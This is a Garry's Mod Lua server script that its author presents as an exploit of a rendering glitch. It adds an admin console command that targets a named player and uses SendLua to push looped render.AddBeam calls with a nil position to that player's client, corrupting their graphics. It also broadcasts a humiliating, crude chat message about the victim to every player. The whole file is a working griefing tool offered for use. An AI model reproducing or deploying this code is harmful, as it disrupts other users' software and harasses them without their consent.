// 
// Exploit exploited by Grea$eMonkey and all who decide to make use of this.
// This is a little glitch in the render library that I found.
// 
// Syntax: sv_breakclientgraphics "steamid_or_name" numIterations
// The more iterations performed, the more messed up the victim's graphics will be.
// Be sure you have the steamid/name in quotes, otherwise this won't work!
// 

local consoleStartupMessage = [[
Initializing render.AddBeam exploit script - By Grea$eMonkey
	Console Command Syntax: sv_breakclientgraphics "steamid_or_name" numIterations
	The more iterations performed, the more messed up the victim's graphics will be.
	Be sure you have the steamid/name in quotes, otherwise this won't work!
Have fun breaking people's graphics!
]]

hook.Add("PlayerInitialSpawn", "breakClientGraphicsInit", function(ply)
	if ply:IsAdmin() then
		Msg(consoleStartupMessage)
	end
end)

function BreakClientsGraphics(ply, cmd, args)
	
	if !ply:IsAdmin() then return end
	
	local victim = NULL
	local rep = tonumber(args[2])
	
	if !rep or rep == 0 then
		rep = 1
	end
	
	for k, v in pairs(player.GetAll()) do
		if v:SteamID() == args[1] then
			victim = v
			print("Victim found by Steam ID: "..tostring(victim))
			break
		end
		if string.find(v:Nick(), args[1]) then
			victim = v
			print("Victim found by Name: "..tostring(victim))
			break
		end
	end
	
	if victim:IsValid() and victim:IsPlayer() then
		
		local breakCode1 = [[
			render.StartBeam(100)
				for i = 1, ]]
		local breakCode2 = [[ do
					render.AddBeam(
						nil,
						32,
						CurTime() + 1,
						color_white
					)
				end
			render.EndBeam()
		]]
		
		local noteCode1 = [[
			chat.AddText(
				Color(255,255,255), "Mingebag ",
				Color(255,0,0), "]]
		local noteCode2 = [[",
				Color(255,255,255), " graphics were raped by a ",
				Color(30,30,200), "Server Administrator."
			)
			chat.PlaySound()
		]]
		
		ply:ChatPrint("Sending code to "..victim:Nick().." with a power of "..rep.." repeat"..(rep > 1 and "s").."!")
		
		for k, v in pairs(player.GetAll()) do
			v:SendLua( noteCode1..victim:Nick().."'s"..noteCode2 )
		end
		
		victim:SendLua( breakCode1	.. rep .. breakCode2 )
		
	else
		
		ply:ChatPrint("The player you entered was not a valid player")
		
	end
	
end
concommand.Add("sv_breakclientgraphics", BreakClientsGraphics)
